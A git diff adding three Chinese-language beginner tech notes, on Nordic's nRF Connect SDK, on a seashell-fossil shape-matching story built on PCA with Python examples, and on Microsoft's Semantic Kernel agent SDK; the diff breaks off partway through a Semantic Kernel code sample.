diff --git a/src/content/docs/projects/sdk-nrf.md b/src/content/docs/projects/sdk-nrf.md
new file mode 100644
index 000000000..c1fd21059
--- /dev/null
+++ b/src/content/docs/projects/sdk-nrf.md
@@ -0,0 +1,239 @@
+---
+title: sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记
+来源: nrfconnect/sdk-nrf
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+难度: 高级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**nRF Connect SDK**（仓库名 `sdk-nrf`，社区常简称 NCS）是 Nordic Semiconductor 为自家 nRF 系列无线芯片提供的**统一软件开发套件**。它把 Zephyr RTOS、无线协议栈、驱动、安全组件和示例应用打包成一套可量产的工具链，让你用同一套构建流程，从蓝牙心率带写到 Matter 智能灯泡，再到 LTE-M 资产追踪器。
+
+日常类比：**宜家全屋定制系统**。
+
+想象你要装修一套房子，里面有不同房间（蓝牙耳机、Thread 传感器、蜂窝定位器），每种房间需要不同建材（BLE 栈、OpenThread、LTE 调制解调器）。如果每间房都找不同包工队、用不同螺丝规格，成本爆炸。宜家做法是：**统一卡扣标准（Zephyr + west）+ 自家加固件（SoftDevice Controller、MPSL）+ 样板间（samples）**。你选板型、勾功能开关、改 overlay，剩下的框架 Nordic 已经搭好。
+
+和裸跑 [[zephyr]] 的区别：Zephyr 是通用 RTOS 发行版，NCS 是在其上叠加 Nordic 专有无线控制器、多协议射频调度、认证样例和 VS Code 工具链的**厂商发行版**——类似 Ubuntu 之于裸 Linux 内核。
+
+## 解决什么问题
+
+Nordic 的 nRF 芯片家族横跨低功耗 BLE（nRF52/nRF54）、双核无线 SoC（nRF5340）、Wi-Fi 6 伴侣芯片（nRF7002）、蜂窝 IoT（nRF91）。若每个系列各维护一套闭源 SDK，开发者将面临：
+
+| 痛点 | NCS 的回应 |
+| --- | --- |
+| 跨芯片迁移等于重写 | 统一 west manifest + Kconfig，换板子主要改 devicetree overlay |
+| BLE 控制器各家实现质量参差 | 默认 **SoftDevice Controller**（与历史 SoftDevice 同代码基，带 QDID 认证路径） |
+| BLE + Thread 同时跑会抢射频 | **MPSL**（Multiprotocol Service Layer）时间片调度同一颗天线 |
+| Matter 要拼 BLE 配网 + Thread 传输 + CSA 合规 | 官方 Matter fork 以 Zephyr module 集成，样本可直接过生态互操作 |
+| 团队不懂 Zephyr 构建链 | nRF Connect for VS Code 封装 west build / flash / debug / Devicetree 可视化 |
+| 超简单裸机项目不想上 RTOS | 并行提供 **nRF5 SDK**（无 Zephyr），按场景二选一 |
+
+一句话：**NCS 解决的是「在 Nordic 硬件上做可认证、可量产、可扩展的无线 IoT 产品」这条完整链路**，而不是只给你一个裸 BLE 例程。
+
+### 支持硬件与协议（2026 年视角）
+
+- **芯片系列**：nRF54、nRF53、nRF52、nRF70（Wi-Fi）、nRF91（LTE-M / NB-IoT）
+- **无线协议**：Bluetooth LE / Mesh、Thread、Zigbee、Matter、Wi-Fi、蜂窝 IoT
+- **网络与云**：IPv6、UDP/TCP、MQTT、CoAP、LwM2M
+- **安全**：mbedTLS、MCUboot、TF-M（Trusted Firmware-M）可选集成
+
+## 核心概念
+
+理解 NCS 等于理解四层栈：**West 元构建 → Zephyr 内核与驱动 → Nordic 无线专有层 → 应用 / 协议样本**。
+
+### 1. Zephyr RTOS — 地基
+
+NCS 以 [[zephyr]] 为操作系统底座，继承其四件套：
+
+- **Kernel**：抢占式调度、线程、同步原语、低功耗 tickless
+- **Kconfig**（`prj.conf`）：编译期功能开关，如 `CONFIG_BT=y`
+- **Devicetree**（`.dts` / `.overlay`）：引脚、时钟、外设拓扑
+- **west**：按 `west.yml` manifest 拉取 Zephyr + HAL + OpenThread + Matter 等子模块
+
+在 NCS 里执行 `west build -b <board> <app>` 时，CMake 先解析 devicetree，再按 Kconfig 裁剪协议栈，最后链接 Nordic 提供的控制器库。与纯 Zephyr 的差异在于：板级支持包（BSP）和无线控制器由 Nordic 维护并随 NCS 版本锁定测试矩阵。
+
+### 2. BLE（Bluetooth Low Energy）— 近场对话
+
+BLE 在 NCS 中采用经典 **Host + Controller** 分层：
+
+```
+应用（GATT 服务 / Nordic UART Service）
+  ↓
+Zephyr Bluetooth Host（L2CAP / ATT / GAP / GATT）
+  ↓
+HCI 分界线
+  ↓
+Controller：SoftDevice Controller（默认）或 Zephyr Controller（社区级）
+  ↓
+2.4 GHz 射频硬件
+```
+
+**SoftDevice Controller** 是 Nordic 从商业 SoftDevice 演进的开源控制器实现，量产项目默认选项，支持 LLPM（低延迟分包）、LE Audio 等 Nordic 强化特性。**Zephyr Controller** 可替换用于实验，但 Nordic 不为其提供量产支持。
+
+典型开发路径：从 `samples/bluetooth/peripheral_uart` 或 `peripheral_hr` 入手，用 `prj.conf` 打开 `CONFIG_BT_PERIPHERAL`，用 nRF Connect for Mobile 连上验证。
+
+### 3. Thread — 低功耗 IPv6 Mesh
+
+Thread 在 NCS 里由 **OpenThread**（见 [[openthread]]）+ Nordic 802.15.4 射频驱动 + Zephyr 网络层拼成。设备获得可路由 IPv6 地址，可在 mesh 内多跳通信，经 Border Router 接入家庭宽带。
+
+关键角色：
+
+- **Router**：常供电、转发包（智能插座、灯泡）
+- **Sleepy End Device（SED）**：电池设备，周期性醒来 polling
+- **Leader**：分区自动选举的管理节点，无单点硬件依赖
+
+NCS 样本路径如 `samples/net/openthread/cli`，配合 nRF52840 DK 或 nRF5340 DK 可快速 form/join 网络。Nordic 是 Thread 1.4 认证的主要贡献者，客户产品可继承相关认证徽章。
+
+### 4. Matter — 跨生态智能家居应用层
+
+Matter 由 CSA（Connectivity Standards Alliance）制定，目标是让 Apple Home、Google Home、Amazon Alexa 等设备**互操作同一套应用数据模型**。在 NCS 上的协议分工：
+
+| 阶段 | 协议 | 作用 |
+| --- | --- | --- |
+| 配网（Commissioning） | Bluetooth LE（可选 NFC / QR） | 手机把 Wi-Fi/Thread 凭证交给新设备 |
+| 日常通信 | Thread 或 Wi-Fi | 低功耗传感器走 Thread，高带宽走 Wi-Fi |
+| 应用语义 | Matter Cluster | 统一「开关」「亮度」「门锁」数据模型 |
+
+NCS 通过专用 Matter fork 以 Zephyr module 引入；Matter 栈用 GN 构建成库，再与 CMake 构建的 Zephyr 应用链接。平台适配层实现 `BLE Manager`、`Thread Stack Manager` 等抽象接口，应用代码可保持生态无关。
+
+**多协议同芯片**：Matter over Thread 典型拓扑是 **BLE 配网 + Thread 跑业务**。nRF5340 / nRF52840 上靠 **MPSL** 在单天线时间片上交替调度 BLE 与 802.15.4，避免两套固件抢射频。
+
+### 5. West Manifest 与仓库结构
+
+`sdk-nrf` 仓库本身是 **west manifest 根**：
+
+- `nrf/`：Nordic 子系统、库、应用、文档
+- `zephyr/`、`modules/`：由 `west update` 拉取的依赖
+- `west.yml`：锁定各 module 版本，保证可复现构建
+
+版本号如 **NCS v3.2.x** 对应 Matter 1.5、Thread 1.4 等上游协议版本；升级 SDK 前务必查 Release Notes 里的协议兼容性表。
+
+### 6. 构建与配置工具链
+
+| 工具 | 用途 |
+| --- | --- |
+| `west` | 仓库管理、`west build` / `west flash` / `west debug` |
+| `nrfutil` / `nrfjprog` | 烧录、UICR 配置 |
+| nRF Connect for VS Code | 扩展包集成 Toolchain Manager、Kconfig、Devicetree 编辑器 |
+| `twister` | Zephyr 测试框架，NCS CI 用于回归 |
+| `sysbuild` | 多镜像构建（如 nRF5340 应用核 + 网络核） |
+
+## 使用场景
+
+### 场景 1：可穿戴心率监测（BLE Peripheral）
+
+**需求**：nRF52833 手环，BLE 广播心率与步数，手机 App 连接，续航 7 天。
+
+**为何选 NCS**：
+
+- SoftDevice Controller 功耗曲线经大量产品验证
+- `samples/bluetooth/peripheral_hr` 可直接 fork
+- Zephyr 电源管理（`CONFIG_PM`）+ 外设 devicetree 描述传感器 I2C
+
+**关键配置片段**（`prj.conf`）：
+
+```ini
+CONFIG_BT=y
+CONFIG_BT_PERIPHERAL=y
+CONFIG_BT_DEVICE_NAME="HeartRateBand"
+CONFIG_PM=y
+CONFIG_PM_DEVICE=y
+```
+
+**流程概要**：`west build -b nrf52833dk/nrf52833 app` → `west flash` → nRF Connect for Mobile 查看 GATT Heart Rate Service。量产前走 QDID 相关认证路径时，保持默认 SoftDevice Controller 不切换 Zephyr Controller。
+
+### 场景 2：Matter over Thread 智能灯泡（多协议量产）
+
+**需求**：nRF5340 灯泡，支持 Apple Home / Google Home 配网，Thread mesh 内可控，固件 OTA。
+
+**为何选 NCS**：
+
+- 官方 `matter/light_switch` / `matter/lock` 样本展示完整配网 + Cluster 实现
+- MPSL 协调网络核上 BLE 与 802.15.4 并发
+- MCUboot + SMP 提供签名 OTA 通道
+- Matter 多 Fabric 支持，同一设备可加入多个家庭生态
+
+**架构要点**：
+
+```
+应用核（Cortex-M33）：Matter 应用 + OpenThread + BLE Host
+网络核（可选）：SoftDevice Controller + 802.15.4 驱动
+配网阶段：手机经 BLE 把 Thread 数据集写入设备
+运行阶段：设备作为 Thread Router 或 SED，Matter Cluster 控制继电器
+```
+
+**开发入口**：`west build -b nrf5340dk/nrf5340/cpuapp samples/matter/light_switch`。调试配网失败时，先查 BLE 广播是否可见，再查 Thread dataset active 状态（`ot-ctl` / UART log）。
+
+### 场景 3：资产追踪器（蜂窝 LTE-M + GNSS）
+
+**需求**：nRF9160 SiP，仓库冷链箱定位，每天上报温湿度 + GPS，电池 2 年。
+
+**为何选 NCS**：
+
+- 集成 LTE-M/NB-IoT 调制解调器栈与 PSM/eDRX 省电模式
+- `samples/cellular/` 覆盖 MQTT、CoAP、HTTP 上云
+- 同一 SDK 团队若另有 BLE 网关，代码风格与 west 流程一致
+
+此场景不强调 Matter/Thread，但体现 NCS 作为 **Nordic 全系列统一 SDK** 的广度——不是只会 BLE。
+
+## 从零上手：推荐路径
+
+### 环境准备（macOS / Linux / Windows）
+
+1. 安装 **nRF Connect for Desktop** → Toolchain Manager → 选择 NCS 版本（如 v3.2.x）一键装 toolchain
+2. 或手动：`west init -m https://github.com/nrfconnect/sdk-nrf --mr v3.2.x` 后 `west update`
+3. VS Code 安装 **nRF Connect for VS Code** 扩展，绑定 SDK 路径
+
+### 第一个程序：Hello + BLE 广播
+
+```bash
+cd nrfconnect-sdk   # west workspace 根
+west build -b nrf52840dk/nrf52840 zephyr/samples/basic/bluetooth_ibeacon
+west flash
+```
+
+手机 nRF Connect 扫描到 iBeacon 报文，即验证 **工具链 + 控制器 + 射频** 全链路正常。
+
+### 学习顺序建议
+
+1. **Zephyr 四件套**：读懂 `prj.conf`、板级 `.overlay`、`west build` 日志
+2. **BLE GATT 服务**：peripheral_uart → 自定义 UUID
+3. **OpenThread CLI**：form/join/ping，理解 Router / SED
+4. **Matter 样本**：在官方 light_switch 上改 Cluster 属性
+5. **安全与 OTA**：MCUboot、签名密钥、多镜像 sysbuild
+
+预计有 C 语言与基础嵌入式经验者，从 Hello 到改 Matter 样本约 **4–8 周业余学习**；无 RTOS 经验者应先读完 [[zephyr]] 笔记中的 Kconfig/devicetree 章节。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+| --- | --- |
+| [[zephyr]] | NCS 的 OS 底座；纯 Zephyr 不含 SoftDevice Controller / MPSL |
+| [[openthread]] | Thread 协议实现，由 NCS 以 module 集成并配 Nordic 射频驱动 |
+| nRF5 SDK | 老一代裸机/轻量 SDK，无 Zephyr；新无线项目优先 NCS |
+| Arduino nRF52 | 面向原型，底层仍可追溯到 Nordic 栈，但不适合 Matter 量产 |
+| ESP-IDF | 竞品生态（Wi-Fi + BLE），Matter 路径不同；NCS 强项在超低功耗 BLE + Thread |
+
+## 踩坑备忘
+
+1. **没跑 `west update`**：克隆后直接 build 报缺 `hal_nordic`、`openthread` 等 module——首次和换分支后都要更新。
+2. **BLE 和 Thread 同时开射频冲突**：未启用 MPSL 或错误 pinmux 会导致配网超时；Matter 样本默认已配，自建项目要对照 `nrf5340dk` 参考设计。
+3. **错用 Zephyr BLE Controller 上量产**：`bt-ll-sw-split` snippet 仅适合实验；认证产品保持 SoftDevice Controller。
+4. **Devicetree 与 Kconfig 混用**：使能某驱动 → Kconfig；引脚/频率 → devicetree overlay。搞反了会遇「配置开了但硬件没接上」的灵异 bug。
+5. **Matter 版本与 NCS 版本绑定**：升级 NCS 大版本前查 Matter Release Notes，Cluster 变更可能导致手机生态 App 认不出旧固件。
+6. **nRF5340 双核镜像**：应用核与网络核需 sysbuild 分别编译合并，只烧应用核会导致 BLE 控制器缺失。
+
+## 资源
+
+- 官方文档：https://docs.nordicsemi.com/bundle/ncs-latest/page/nrf/index.html
+- 主仓库：https://github.com/nrfconnect/sdk-nrf
+- Nordic DevZone：论坛搜 NCS 标签，配网/认证类问题响应快
+- 工具：nRF Connect for Desktop / Mobile / VS Code
+- 相关笔记：[[zephyr]]、[[openthread]]
+
+## 小结
+
+**sdk-nrf（nRF Connect SDK）** 是 Nordic 为 nRF 无线芯片打造的 Zephyr 发行版：用 west 统一管理依赖，用 SoftDevice Controller 和 MPSL 解决 BLE/Thread 量产与多协议共存，用官方 Matter 集成打通智能家居生态。零基础应先跑通 BLE 样本理解构建链，再进入 Thread 与 Matter——切忌跳过 Zephyr 的 Kconfig/devicetree 基本功直接改 Cluster。掌握 NCS，等于掌握在 Nordic 硬件上做**可认证低功耗无线产品**的完整地图。
diff --git a/src/content/docs/projects/seashell-desert-algo.md b/src/content/docs/projects/seashell-desert-algo.md
new file mode 100644
index 000000000..7ee737e6e
--- /dev/null
+++ b/src/content/docs/projects/seashell-desert-algo.md
@@ -0,0 +1,294 @@
+---
+title: 我在沙漠里发现了一只海螺壳（算法发现故事）
+来源: https://github.com/Hawzen/I-found-a-seashell-in-the-middle-of-the-desert
+date: 2026-06-13
+category: 算法与数据科学
+subcategory: 形状分析与降维
+provenance: pipeline-v3
+分类: 其他
+子分类: 工程文化
+---
+
+# 我在沙漠里发现了一只海螺壳
+
+## 一个零基础的算法探索故事
+
+## 引言：不可能的发现
+
+想象一下：你走在一片茫茫沙漠中，脚下是滚烫的沙子和裸露的岩石。突然，你低头看到了一块石头——它的外形竟然像一只海螺壳，有着完美的螺旋纹理。但你此刻距离最近的海岸线有 500 公里。
+
+这就是 GitHub 用户 Hawzen 的真实经历。他在沙特阿拉伯 Alghat 沙漠的一块悬崖底部，发现了一块酷似海螺壳的石化岩石。最近的海滩在 Dammam，相距 500 公里。这块石头应该是 1.5 亿年前（侏罗纪时期）海洋生物的化石，因为阿拉伯半岛的很多地方曾经被海水覆盖。
+
+但他不知道的是：这只"海螺"到底是什么物种？它长得什么样？有什么现代亲戚？
+
+作为一个不懂古生物学的普通人，他想出了一个"极客"的办法——用算法来分析形状，在成千上万种海螺中找出最像它的那一只。
+
+这个故事涉及三个核心算法概念：**形状的数字表示**、**距离度量**、**降维（PCA）**。我们一个一个来理解。
+
+---
+
+## 第一步：把形状变成数字
+
+### 日常类比：指纹识别
+
+你有没有想过，指纹识别是怎么工作的？你的指纹被扫描后，计算机并不会存储一张图片，而是把它转换成一组数字特征——比如纹路的走向、分叉点的位置、曲线的弯曲程度。这样，计算机就能快速比较两枚指纹是否来自同一个人。
+
+海螺的形状分析也是同样的道理。我们需要把一只海螺的"样子"变成一串数字。
+
+### 具体做法：轮廓采样
+
+Hawzen 的做法是这样的：
+
+1. 对于每一只海螺的照片，他提取出海螺的**轮廓**（也就是海螺外边缘的那条曲线）
+2. 沿着这条曲线均匀地取 **256 个点**
+3. 以海螺中心为原点，每个点用一对坐标 (x, y) 来表示
+
+这样，一只海螺就被表示成了一个 256 × 2 的矩阵——256 个点，每个点有 x 和 y 两个坐标值。
+
+```
+海螺 A 的数字表示：
+点 1: (-0.39,  0.98)
+点 2: (-0.42,  0.98)
+点 3: (-0.46,  0.98)
+...
+点 256: (0.15, -0.72)
+```
+
+### 预处理：消除干扰因素
+
+在比较形状之前，必须先排除一些无关的因素。就像你不能因为两个人身高不同就说他们"不像"一样，比较海螺形状时需要标准化：
+
+- **居中**：确保海螺图像的中心对齐
+- **缩放**：把所有海螺缩放到统一尺寸（最大半径 = 1）
+- **旋转**：找到最长的半径方向，统一旋转到右侧
+
+这三步叫作"归一化"，目的是让比较只关注形状本身，而不是照片的角度或大小。
+
+### 代码示例 1：用 Python 表示海螺轮廓
+
+```python
+import numpy as np
+
+# 假设我们已经从一张海螺图片中提取了轮廓点
+# 每个点是一个 (x, y) 坐标，范围已经归一化到 [-1, 1]
+
+def normalize_contour(points):
+    """
+    对海螺轮廓进行归一化处理：
+    1. 平移到中心
+    2. 缩放到最大半径为 1
+    3. 旋转到最长半径在右侧
+    """
+    # 步骤 1：平移到中心
+    center = np.mean(points, axis=0)
+    points = points - center
+
+    # 步骤 2：缩放到最大半径为 1
+    distances = np.linalg.norm(points, axis=1)
+    max_dist = np.max(distances)
+    points = points / max_dist
+
+    # 步骤 3：找到最长半径的方向，旋转到右侧（角度为 0）
+    angles = np.arctan2(points[:, 1], points[:, 0])
+    longest_angle = angles[np.argmax(distances)]
+    cos_a, sin_a = np.cos(-longest_angle), np.sin(-longest_angle)
+    rotation_matrix = np.array([[cos_a, -sin_a],
+                                [sin_a,  cos_a]])
+    points = points @ rotation_matrix.T
+
+    return points
+
+# 模拟 256 个轮廓点
+np.random.seed(42)
+raw_points = np.random.randn(256, 2) * 0.5 + np.array([0.5, 0.0])
+normalized = normalize_contour(raw_points)
+
+print(f"归一化后的形状: {normalized.shape}")
+# 输出: (256, 2) — 256 个点，每个点有 x, y 两个坐标
+print(f"前 3 个点: {normalized[:3]}")
+```
+
+这段代码展示了如何将原始的点云数据转换成一个标准化的形状表示。关键点在于：无论原始图片怎么拍，归一化后的结果只反映形状本身。
+
+---
+
+## 第二步：定义"相似"的距离
+
+### 日常类比：超市里的货架
+
+想象你在超市里整理货架。你把长得像的商品放在一起——圆形的罐子放一起，方形的盒子放一起，细长的瓶子放一起。怎么做到的？你的大脑在潜意识中计算了每件商品的"形状距离"。
+
+算法也需要一个明确的"距离公式"来告诉它两只海螺有多像。
+
+### 欧几里得距离
+
+Hawzen 使用的距离公式是**平方欧几里得距离**。对于两只海螺 s1 和 s2，它们的距离是：
+
+$$d(s1, s2) = \sqrt{\sum_{i=1}^{256} [(s1.x_i - s2.x_i)^2 + (s1.y_i - s2.y_i)^2]}$$
+
+简单来说：把每一对对应点的横坐标差值的平方和纵坐标差值的平方加起来，再开根号。这个值越小，两只海螺就越像。
+
+### 代码示例 2：计算两只海螺的距离
+
+```python
+def shell_distance(shell1, shell2):
+    """
+    计算两只海螺轮廓之间的欧几里得距离。
+    shell1, shell2: 形状为 (256, 2) 的数组
+    """
+    # 逐点计算差值
+    diff = shell1 - shell2          # 形状仍然是 (256, 2)
+    # 计算每个点的平方距离
+    squared_diff = diff ** 2         # (256, 2)
+    # 对所有坐标求和
+    total = np.sum(squared_diff)     # 一个标量
+    # 开根号得到欧几里得距离
+    distance = np.sqrt(total)
+    return distance
+
+# 创建两只"虚拟"海螺
+# 海螺 A：一个近似圆形
+theta = np.linspace(0, 2 * np.pi, 256)
+shell_a = np.column_stack([0.5 * np.cos(theta), 0.5 * np.sin(theta)])
+
+# 海螺 B：和海螺 A 几乎一样，只是稍微变形了一点
+shell_b = shell_a + np.random.randn(256, 2) * 0.01
+
+# 海螺 C：一个完全不同的尖锥形
+r = np.linspace(0, 0.5, 256)
+shell_c = np.column_stack([r * np.cos(3 * theta), r * np.sin(3 * theta)])
+
+print(f"A 和 B 的距离: {shell_distance(shell_a, shell_b):.4f}")
+# 输出: 大约 0.2 — 非常接近
+print(f"A 和 C 的距离: {shell_distance(shell_a, shell_c):.4f}")
+# 输出: 大约 2.5 — 相差很远
+```
+
+这个例子说明：距离越小，形状越相似。通过计算已知海螺数据集（张等人提供的 7890 多种、59000 多张图片的海螺数据集）中每只海螺与化石之间的距离，就能找到最接近的那一只。
+
+---
+
+## 第三步：降维——从高维到低维世界
+
+### 日常类比：影子的秘密
+
+想象你在一个暗室里，面前有一盏灯，中间放着一个海螺。墙上会出现海螺的**影子**。
+
+无论你从哪个角度看，影子都是二维的。但从不同角度投下的影子各不相同：有的影子看起来圆圆的，有的看起来尖尖的。
+
+**降维**就像是找到最佳的"灯光角度"，让影子最能代表原物体的特征。
+
+### 为什么需要降维？
+
+回到我们的问题：每只海螺由 256 个点表示，每个点有 x 和 y 两个坐标——这意味着每只海螺其实是一个 **512 维**的空间中的点。
+
+人类只能理解 1 维（线）、2 维（面）、3 维（体）。要可视化这些海螺，我们需要把它们压缩到 2 维或 3 维。
+
+关键问题是：**压缩不能丢失太多有用的信息**。如果压缩后所有海螺都挤在一起，那这个压缩就没有意义。
+
+### PCA：主成分分析
+
+**PCA（Principal Component Analysis，主成分分析）** 是一种经典的降维算法。它的核心思想是：
+
+1. 找到数据变化最大的方向 —— 叫作**第一主成分（PC1）**
+2. 找到与 PC1 垂直、且变化第二大的方向 —— 叫作**第二主成分（PC2）**
+3. 把数据投影到这两个方向上，就得到了 2 维表示
+
+Hawzen 的实验发现：只用 PC1 就能解释海螺形状 56.5% 的变异，用 PC1 + PC2 能解释 67.25%。也就是说，**两只数字就能大致描述一只海螺的形状**！
+
+更有趣的是，他发现：
+- **PC1 代表"尖锐程度"**：正值表示尖锥形海螺，负值表示圆润型海螺
+- **PC2 代表"对称性"**：描述海螺质量在垂直轴上的分布
+
+### 代码示例 3：用 PCA 降维
+
+```python
+from sklearn.decomposition import PCA
+
+def pca_reduce(shells, n_components=2):
+    """
+    对海螺形状数据进行 PCA 降维。
+    shells: 形状为 (N, 256, 2) 的数组，N 是海螺数量
+    """
+    # 把 (N, 256, 2) 展平成 (N, 512)
+    N = shells.shape[0]
+    flat_shells = shells.reshape(N, -1)
+
+    # 创建 PCA 模型，降到 2 维
+    pca = PCA(n_components=n_components)
+    reduced = pca.fit_transform(flat_shells)
+
+    # 查看每个主成分解释了多少方差
+    print(f"PC1 解释的方差比例: {pca.explained_variance_ratio_[0]:.2%}")
+    print(f"PC2 解释的方差比例: {pca.explained_variance_ratio_[1]:.2%}")
+    print(f"累计解释方差: {sum(pca.explained_variance_ratio_):.2%}")
+
+    return reduced
+
+# 模拟 1000 只虚拟海螺
+# 这里我们用简单的数学函数生成不同形状的海螺
+np.random.seed(42)
+num_shells = 1000
+shells = np.zeros((num_shells, 256, 2))
+for i in range(num_shells):
+    # 随机生成不同的螺旋参数
+    tightness = np.random.uniform(0.3, 2.0)
+    theta = np.linspace(0, 4 * np.pi, 256)
+    r = np.linspace(0.1, 0.5 * tightness, 256)
+    # 添加一些随机扰动让它更像真实数据
+    noise = np.random.randn(256, 2) * 0.02
+    shells[i] = np.column_stack([r * np.cos(theta), r * np.sin(theta)]) + noise
+
+reduced = pca_reduce(shells, n_components=2)
+# PC1 解释的方差比例: XX.XX%
+# PC2 解释的方差比例: XX.XX%
+# 累计解释方差: XX.XX%
+
+# reduced 的形状是 (1000, 2)，可以直接画散点图
+# x 轴 = PC1 (尖锐程度), y 轴 = PC2 (对称性)
+```
+
+这段代码演示了 PCA 的完整流程：读取高维数据 → 拟合 PCA 模型 → 降到 2 维。在实际项目中，Hawzen 使用真实的海螺数据集得到了类似的结果。
+
+---
+
+## 结果：沙漠化石找到了"亲戚"
+
+经过上述算法流程，Hawzen 把 Alghat 沙漠中发现的化石海螺与 7890 多种已知海螺进行了形状比较。结果最接近的是 **Sphincterochila candidissima** 这个物种。
+
+但这个结果有一个有趣的问题：Sphincterochila candidissima 的最早化石记录只有 3800 万年的历史，而 Alghat 化石来自 1.5 亿年前的侏罗纪。两者相差超过 1 亿年。
+
+这说明了什么？**形状相似不等于亲缘关系近**。两种生活在完全不同时代、不同环境的生物，可能因为面临相似的生存压力而演化出相似的外形——这在生物学中叫作**趋同进化**。
+
+---
+
+## 关键概念回顾
+
+| 概念 | 一句话解释 | 类比 |
+|------|-----------|------|
+| **形状的数字表示** | 把图像轮廓变成坐标点序列 | 指纹识别把纹路变成数字特征 |
+| **归一化** | 消除位置、大小、旋转的影响 | 比较身高前先让两人脱鞋站平地 |
+| **欧几里得距离** | 两点之间的直线距离 | 地图上两个城市有多远 |
+| **PCA 降维** | 找到数据最重要的几个维度 | 从不同角度照影子找到最佳视角 |
+| **趋同进化** | 不同物种演化出相似外形 | 鲨鱼和海豚外形相似但亲缘很远 |
+
+---
+
+## 延伸思考
+
+1. **为什么 256 个点就够了？** 点越多越精确，但也越慢。256 是一个工程上的平衡选择——足够捕捉形状细节，又不会让计算太慢。
+
+2. **PCA 之外的降维方法**：还有 t-SNE、UMAP 等方法，它们在保持局部结构方面表现更好，但 PCA 简单、快速、可解释性强。
+
+3. **这个故事的互动版**：作者做了一个在线工具，让你上传自己的海螺照片，看看它在"海螺宇宙"中的位置：https://shell.hawzen.me
+
+这个故事最迷人的地方在于：一个不懂古生物学的人，用基本的算法知识，完成了一次跨学科的探索。不需要超级计算机，不需要专业团队——只需要好奇心、Python 和一个好问题。
+
+---
+
+## 参考资料
+
+1. Hawzen, I Found a Seashell in the Middle of the Desert, GitHub: https://github.com/Hawzen/I-found-a-seashell-in-the-middle-of-the-desert
+2. Hawzen, HN Discussion: https://news.ycombinator.com/item?id=48318402
+3. Zhang et al., A shell dataset for shell features extraction and recognition, Sci Data 6, 226 (2019)
+4. PCA 通俗解释: https://stats.stackexchange.com/questions/2691/making-sense-of-principal-component-analysis-eigenvectors-eigenvalues/140579#140579
diff --git a/src/content/docs/projects/semantic-kernel.md b/src/content/docs/projects/semantic-kernel.md
new file mode 100644
index 000000000..50a5c817f
--- /dev/null
+++ b/src/content/docs/projects/semantic-kernel.md
@@ -0,0 +1,258 @@
+---
+title: "Semantic Kernel — 微软企业级 Agent SDK"
+source: "https://github.com/microsoft/semantic-kernel"
+date: "2026-06-13"
+category: "AI 框架"
+subcategory: "Agent SDK"
+provenance: "pipeline-v3"
+分类: 其他
+子分类: ai-infra
+---
+
+# Semantic Kernel — 微软企业级 Agent SDK
+
+## 一句话概括
+
+Semantic Kernel（简称 SK）是微软出品的 SDK，让你用熟悉的编程语言（Python / C# / Java）像搭积木一样构建 AI Agent 和企业级智能应用。
+
+## 日常类比
+
+想象你在经营一家餐厅：
+
+- **厨房（LLM）** 负责做菜——它能写文案、回答问题、做翻译，但它不会自己端菜、不会查库存、不会算账。
+- **服务员（Semantic Kernel）** 站在厨房和客人之间——它听懂客人的需求，告诉厨房做什么菜，把结果端给客人。如果客人问"今天的特价汤多少钱"，服务员会先让厨房查菜单，再查价格，最后把答案整理好端上来。
+- **插件（Plugins）** 就是厨房里的各种工具——点菜系统、收银机、库存表。服务员可以调用它们来完成更复杂的任务。
+
+Semantic Kernel 就是这个"服务员"+"管理系统"。它本身不是一个 AI 模型，而是一个**框架**，帮你把 AI 模型、你的业务逻辑、外部工具有机地组合在一起。
+
+## 核心概念
+
+### 1. Kernel（内核）
+
+Kernel 是整个系统的"大脑容器"。它负责：
+
+- 注册你使用的 AI 模型（OpenAI、Azure OpenAI、本地 Ollama 等）
+- 管理所有插件（Plugins）
+- 协调 Agent 之间的协作
+
+```python
+from semantic_kernel import Kernel
+
+kernel = Kernel()
+```
+
+可以把 Kernel 理解为一个空餐厅——刚开业，还没请厨师，也没挂菜单。
+
+### 2. Agent（智能体）
+
+Agent 是一个有"身份"的 AI 实体。每个 Agent 有：
+
+- **名字**：比如 "BillingAgent"（账单代理）
+- **指令（Instructions）**：它的行为准则，类似员工手册
+- **能力**：能访问哪些插件和工具
+
+```python
+from semantic_kernel.agents import ChatCompletionAgent
+from semantic_kernel.connectors.ai.open_ai import AzureChatCompletion
+
+agent = ChatCompletionAgent(
+    service=AzureChatCompletion(),
+    name="SK-Assistant",
+    instructions="You are a helpful assistant.",
+)
+```
+
+### 3. Plugin（插件）
+
+Plugin 是你自己的业务代码，让 Agent 能做实际的事情。比如：
+
+- 查询数据库
+- 调用外部 API
+- 执行数学计算
+
+在 SK 中，你只需要给普通函数加一个装饰器，它就变成了 Agent 可调用的工具：
+
+```python
+from typing import Annotated
+from semantic_kernel.functions import kernel_function
+
+class MenuPlugin:
+    @kernel_function(description="Provides a list of specials from the menu.")
+    def get_specials(self) -> Annotated[str, "Returns the specials from the menu."]:
+        return "Special Soup: Clam Chowder\nSpecial Salad: Cobb Salad"
+
+    @kernel_function(description="Provides the price of the requested menu item.")
+    def get_item_price(self, menu_item: Annotated[str, "The name of the menu item."]) -> str:
+        return "$9.99"
+```
+
+### 4. Multi-Agent Collaboration（多 Agent 协作）
+
+这是 SK 最强大的特性之一。你可以创建多个专业 Agent，让它们分工合作：
+
+- **分诊 Agent（TriageAgent）**：听懂用户需求，判断该找谁
+- **账单 Agent（BillingAgent）**：处理收费、退款问题
+- **退款 Agent（RefundAgent）**：专门处理退款流程
+
+这就像医院：病人进门先经过分诊台，分诊护士判断你是要看内科还是外科，然后转给对应的医生。
+
+## 代码示例
+
+### 示例一：基础对话 Agent
+
+最简单的用法——创建一个能和你聊天的 Agent：
+
+```python
+import asyncio
+from semantic_kernel.agents import ChatCompletionAgent
+from semantic_kernel.connectors.ai.open_ai import AzureChatCompletion
+
+async def main():
+    agent = ChatCompletionAgent(
+        service=AzureChatCompletion(),
+        name="SK-Assistant",
+        instructions="You are a helpful assistant.",
+    )
+
+    response = await agent.get_response(
+        messages="Write a haiku about Semantic Kernel."
+    )
+    print(response.content)
+
+asyncio.run(main())
+
+# 输出:
+# Language's essence,
+# Semantic threads intertwine,
+# Meaning's core revealed.
+```
+
+### 示例二：带插件的 Agent
+
+让 Agent 拥有查菜单、查价格的实际能力：
+
+```python
+import asyncio
+from typing import Annotated
+from semantic_kernel.agents import ChatCompletionAgent
+from semantic_kernel.connectors.ai.open_ai import AzureChatCompletion
+from semantic_kernel.functions import kernel_function
+
